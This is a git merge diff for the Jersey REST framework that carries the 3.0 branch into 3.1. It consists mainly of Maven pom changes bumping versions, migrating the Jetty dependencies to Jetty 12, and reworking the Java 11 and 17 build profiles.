Merge 'origin/3.0' into 'origin/3.1'
Signed-off-by: Maxim Nesen <maxim.nesen@oracle.com>
diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml
index 7763e3e..b047d80 100644
--- a/.github/workflows/maven.yml
+++ b/.github/workflows/maven.yml
@@ -23,8 +23,8 @@
strategy:
matrix:
- java_version: [ 11 ]
- verify_profiles: [ '-Plicense_check' ]
+ java_version: [ 21 ]
+ verify_profiles: [ '-Plicense_check,staging' ]
continue-on-error: false
steps:
diff --git a/NOTICE.md b/NOTICE.md
index 3596992..320c38e 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -43,11 +43,11 @@
Bean Validation API 3.0.2
* License: Apache License, 2.0
-* Project: http://beanvalidation.org/1.1/
+* Project: https://projects.eclipse.org/projects/ee4j.bean-validation
* Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors
* by the @authors tag.
-Hibernate Validator CDI, 7.0.5.Final
+Hibernate Validator CDI, 8.0.1.Final
* License: Apache License, 2.0
* Project: https://beanvalidation.org/
* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml
index 6d0233b..7788263 100644
--- a/archetypes/jersey-example-java8-webapp/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.archetypes</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-example-java8-webapp</artifactId>
diff --git a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
index dc88fe1..05b0c3d 100644
--- a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
@@ -125,7 +125,7 @@
</profiles>
<properties>
- <java.version>1.8</java.version>
+ <java.version>11</java.version>
<jersey.config.test.container.port>8080</jersey.config.test.container.port>
<war.mvn.plugin.version>3.4.0</war.mvn.plugin.version>
</properties>
diff --git a/archetypes/jersey-heroku-webapp/pom.xml b/archetypes/jersey-heroku-webapp/pom.xml
index 176eefd..f2bfdf4 100644
--- a/archetypes/jersey-heroku-webapp/pom.xml
+++ b/archetypes/jersey-heroku-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.archetypes</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
index 00afb9c..eca7911 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -38,14 +38,14 @@
</dependency> -->
<dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-servlet</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-servlet</artifactId>
<version>\${jetty.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-webapp</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-webapp</artifactId>
<version>\${jetty.version}</version>
<scope>provided</scope>
</dependency>
@@ -89,8 +89,8 @@
</executions>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<version>\${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
@@ -117,7 +117,7 @@
<properties>
<jersey.version>${project.version}</jersey.version>
- <jetty.version>11.0.20</jetty.version>
+ <jetty.version>12.0.7</jetty.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<surefire.mvn.plugin.version>3.2.5</surefire.mvn.plugin.version>
<war.mvn.plugin.version>3.4.0</war.mvn.plugin.version>
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
index 06594bf..30d0665 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
@@ -1,7 +1,7 @@
package ${package}.heroku;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.webapp.WebAppContext;
+import org.eclipse.jetty.ee10.webapp.WebAppContext;
/**
* This class launches the web application in an embedded Jetty container. This is the entry point to your application. The Java
@@ -30,7 +30,7 @@
final String webappDirLocation = "src/main/webapp/";
root.setDescriptor(webappDirLocation + "/WEB-INF/web.xml");
- root.setResourceBase(webappDirLocation);
+ root.setBaseResourceAsString(webappDirLocation);
server.setHandler(root);
diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml
index c777ef4..e9f80d9 100644
--- a/archetypes/jersey-quickstart-grizzly2/pom.xml
+++ b/archetypes/jersey-quickstart-grizzly2/pom.xml
@@ -21,7 +21,7 @@
<parent>
<groupId>org.glassfish.jersey.archetypes</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-quickstart-grizzly2</artifactId>
<packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml
index 33b1eca..85560da 100644
--- a/archetypes/jersey-quickstart-webapp/pom.xml
+++ b/archetypes/jersey-quickstart-webapp/pom.xml
@@ -21,7 +21,7 @@
<parent>
<groupId>org.glassfish.jersey.archetypes</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>maven-archetype</packaging>
diff --git a/archetypes/pom.xml b/archetypes/pom.xml
index e41beee..2829e6c 100644
--- a/archetypes/pom.xml
+++ b/archetypes/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.archetypes</groupId>
diff --git a/bom/pom.xml b/bom/pom.xml
index b2bcd33..80b1556 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -30,7 +30,7 @@
<groupId>org.glassfish.jersey</groupId>
<artifactId>jersey-bom</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<packaging>pom</packaging>
<name>jersey-bom</name>
@@ -80,11 +80,21 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jnh-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-jetty-connector</artifactId>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-jetty-http2-connector</artifactId>
<version>${project.version}</version>
</dependency>
@@ -105,6 +115,11 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
<artifactId>jersey-container-jetty-http2</artifactId>
<version>${project.version}</version>
</dependency>
@@ -400,6 +415,11 @@
<version>${project.version}</version>
</dependency>
<dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>jersey-test-framework-util</artifactId>
<version>${project.version}</version>
@@ -418,7 +438,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-site-plugin</artifactId>
- <version>3.7.1</version>
+ <version>3.9.1</version>
</plugin>
</plugins>
</build>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index 7b7d82f..9e05e28 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.bundles</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>apidocs</artifactId>
@@ -87,6 +87,11 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jnh-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-jdk-connector</artifactId>
<version>${project.version}</version>
</dependency>
@@ -97,11 +102,6 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
- <artifactId>jersey-jetty-http2-connector</artifactId>
- <version>${project.version}</version>
- </dependency>
- <dependency>
- <groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-netty-connector</artifactId>
<version>${project.version}</version>
</dependency>
@@ -128,6 +128,10 @@
<version>3.1</version>
</dependency>
<dependency>
+ <groupId>jakarta.persistence</groupId>
+ <artifactId>jakarta.persistence-api</artifactId>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>jersey-container-simple-http</artifactId>
<version>${project.version}</version>
@@ -139,6 +143,11 @@
</dependency>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty-http</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
<artifactId>jersey-container-grizzly2-http</artifactId>
<version>${project.version}</version>
</dependency>
@@ -164,6 +173,22 @@
<version>${project.version}</version>
</dependency>
<dependency>
+ <groupId>com.fasterxml.jackson.module</groupId>
+ <artifactId>jackson-module-jaxb-annotations</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>jakarta.activation</groupId>
+ <artifactId>jakarta.activation-api</artifactId>
+ </exclusion>
+ </exclusions>
+ <optional>true</optional>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>jersey-media-json-jettison</artifactId>
<version>${project.version}</version>
@@ -249,54 +274,6 @@
<version>${project.version}</version>
</dependency>
</dependencies>
- <profiles>
- <profile>
- <id>JettyExclude</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <properties>
- <jetty.version>${jetty9.version}</jetty.version>
- </properties>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-client</artifactId>
- <version>${jetty.version}</version>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.version}</version>
- </dependency>
- </dependencies>
- </profile>
- <profile>
- <id>jetty2x</id>
- <activation>
- <activeByDefault>false</activeByDefault>
- </activation>
- <dependencies>
- <dependency>
- <groupId>org.glassfish.jersey.ext.microprofile</groupId>
- <artifactId>jersey-mp-rest-client</artifactId>
- <version>${project.version}</version>
- </dependency>
- <!-- media -->
- <dependency>
- <groupId>org.glassfish.jersey.media</groupId>
- <artifactId>jersey-media-json-jackson1</artifactId>
- <version>${project.version}</version>
- </dependency>
- <!-- connectors -->
- <dependency>
- <groupId>org.glassfish.jersey.connectors</groupId>
- <artifactId>jersey-helidon-connector</artifactId>
- <version>${project.version}</version>
- </dependency>
- </dependencies>
- </profile>
- </profiles>
<build>
<plugins>
<plugin>
@@ -312,8 +289,11 @@
<includeDependencySources>true</includeDependencySources>
<sourceFileExcludes>
<fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
+ <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude>
+ <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java</fileExclude>
<fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
<fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude>
+ <fileExclude>org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
</sourceFileExcludes>
<dependencySourceIncludes>
<dependencySourceInclude>org.glassfish.jersey.*:*</dependencySourceInclude>
@@ -335,6 +315,70 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-enforcer-plugin</artifactId>
+ <configuration>
+ <skip>true</skip>
+ </configuration>
+ </plugin>
</plugins>
</build>
+ <profiles>
+ <profile>
+ <id>jetty11</id>
+ <activation>
+ <activeByDefault>true</activeByDefault>
+ </activation>
+ <properties>
+ <jetty.version>${jetty11.version}</jetty.version>
+ </properties>
+ <dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <!--<dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-http2-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http2</artifactId>
+ <version>${project.version}</version>
+ </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+ </dependencies>
+ </dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <!--<dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-http2-connector</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http</artifactId>
+ <version>${project.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http2</artifactId>
+ <version>${project.version}</version>
+ </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+ </dependencies>
+ </profile>
+ </profiles>
</project>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml
index e39812c..74580eb 100644
--- a/bundles/examples/pom.xml
+++ b/bundles/examples/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.bundles</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-examples</artifactId>
@@ -735,5 +735,7 @@
</plugin>
</plugins>
</build>
-
+ <properties>
+ <enforcer.skip>true</enforcer.skip>
+ </properties>
</project>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml
index 66e4cc0..2d93a58 100644
--- a/bundles/jaxrs-ri/pom.xml
+++ b/bundles/jaxrs-ri/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.bundles</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jaxrs-ri</artifactId>
@@ -182,7 +182,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
@@ -254,7 +253,7 @@
<includeGroupIds>jakarta.ws.rs,org.glassfish.jersey.core,org.glassfish.jersey.containers,org.glassfish.jersey.jaxb,org.glassfish.jersey.inject</includeGroupIds>
<includeClassifiers>sources</includeClassifiers>
<outputDirectory>${generated.src.dir}</outputDirectory>
- <excludes>**/NOTICE.md,**/NOTICE.markdown</excludes>
+ <excludes>module-info.*,META-INF/MANIFEST.MF,**/NOTICE.md,**/NOTICE.markdown</excludes>
</configuration>
</execution>
</executions>
@@ -278,9 +277,9 @@
jersey.repackaged.org.objectweb.asm.*;version=${project.version}
</Export-Package>
<Import-Package><![CDATA[
- jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,6.0)",
- jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,6.0)",
- jakarta.servlet.*;version="[5.0,6.0)",
+ jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,7.0)",
+ jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,7.0)",
+ jakarta.servlet.*;version="[5.0,7.0)",
${jakarta.annotation.osgi.version},
jakarta.persistence.*;resolution:=optional,
jakarta.validation.*;resolution:=optional;version="[3,4)",
diff --git a/bundles/pom.xml b/bundles/pom.xml
index 052dfb7..eacb2d2 100644
--- a/bundles/pom.xml
+++ b/bundles/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.bundles</groupId>
diff --git a/connectors/apache-connector/pom.xml b/connectors/apache-connector/pom.xml
index 82efb18..a255e38 100644
--- a/connectors/apache-connector/pom.xml
+++ b/connectors/apache-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-apache-connector</artifactId>
diff --git a/connectors/apache5-connector/pom.xml b/connectors/apache5-connector/pom.xml
index 88723e6..616f425 100644
--- a/connectors/apache5-connector/pom.xml
+++ b/connectors/apache5-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-apache5-connector</artifactId>
diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml
index 2b25a35..4e8c6c2 100644
--- a/connectors/grizzly-connector/pom.xml
+++ b/connectors/grizzly-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-grizzly-connector</artifactId>
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml
index 515e3b3..a794f38 100644
--- a/connectors/helidon-connector/pom.xml
+++ b/connectors/helidon-connector/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.connectors</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -81,6 +81,7 @@
<artifactId>maven-javadoc-plugin</artifactId>
<configuration>
<source>8</source>
+ <detectJavaApiLink>false</detectJavaApiLink>
</configuration>
</plugin>
</plugins>
diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml
index c3b8301..dca733b 100644
--- a/connectors/jdk-connector/pom.xml
+++ b/connectors/jdk-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-jdk-connector</artifactId>
@@ -34,6 +34,8 @@
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+ <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+ <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
</properties>
<dependencies>
@@ -105,16 +107,6 @@
</build>
</profile>
<profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <properties>
- <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
- <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
- </properties>
- </profile>
- <profile>
<id>disable_tls1and11</id>
<!-- TLS 1 and TLS 1.1 are disabled for JDK 16 -->
<activation>
@@ -137,5 +129,4 @@
</build>
</profile>
</profiles>
-
</project>
diff --git a/connectors/jetty-connector/pom.xml b/connectors/jetty-connector/pom.xml
index 86876ec..15e2354 100644
--- a/connectors/jetty-connector/pom.xml
+++ b/connectors/jetty-connector/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-jetty-connector</artifactId>
@@ -34,10 +34,10 @@
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
<java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
</properties>
<dependencies>
@@ -51,16 +51,6 @@
</exclusion>
</exclusions>
</dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
<dependency>
<groupId>org.glassfish.jersey.media</groupId>
@@ -74,18 +64,28 @@
<version>${project.version}</version>
<scope>test</scope>
</dependency>
-<!-- <dependency>-->
-<!-- <groupId>org.glassfish.jersey.media</groupId>-->
-<!-- <artifactId>jersey-media-json-jackson</artifactId>-->
-<!-- <version>${project.version}</version>-->
-<!-- <scope>test</scope>-->
-<!-- </dependency>-->
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-jackson</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>jersey-test-framework-provider-jetty</artifactId>
<version>${project.version}</version>
<scope>test</scope>
</dependency>
+ <dependency>
+ <groupId>jakarta.xml.bind</groupId>
+ <artifactId>jakarta.xml.bind-api</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>test</scope>
+ </dependency>
</dependencies>
<build>
@@ -105,21 +105,6 @@
<artifactId>maven-compiler-plugin</artifactId>
</plugin>
<plugin>
- <!-- TODO remove after jakartification -->
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-surefire-plugin</artifactId>
- <executions>
- <execution>
- <id>default-test</id> <!-- jakartification-excluded-tests -->
- <configuration>
- <excludes>
- <exclude>org/glassfish/jersey/jetty/connector/EntityTest.java</exclude>
- </excludes>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
<groupId>org.apache.felix</groupId>
<artifactId>maven-bundle-plugin</artifactId>
<inherited>true</inherited>
@@ -139,72 +124,11 @@
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<properties>
- <jetty.version>${jetty9.version}</jetty.version>
+ <jetty.version>${jetty11.version}</jetty.version>
</properties>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-client</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -225,17 +149,54 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>JettyInclude</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.class</exists>
+ <!-- ${java17.build.outputDirectory} does not work here -->
+ <exists>target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -256,16 +217,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -277,14 +238,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -298,5 +259,4 @@
</build>
</profile>
</profiles>
-
</project>
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
index dfd3b79..50ec6bd 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -1,5 +1,5 @@
/*
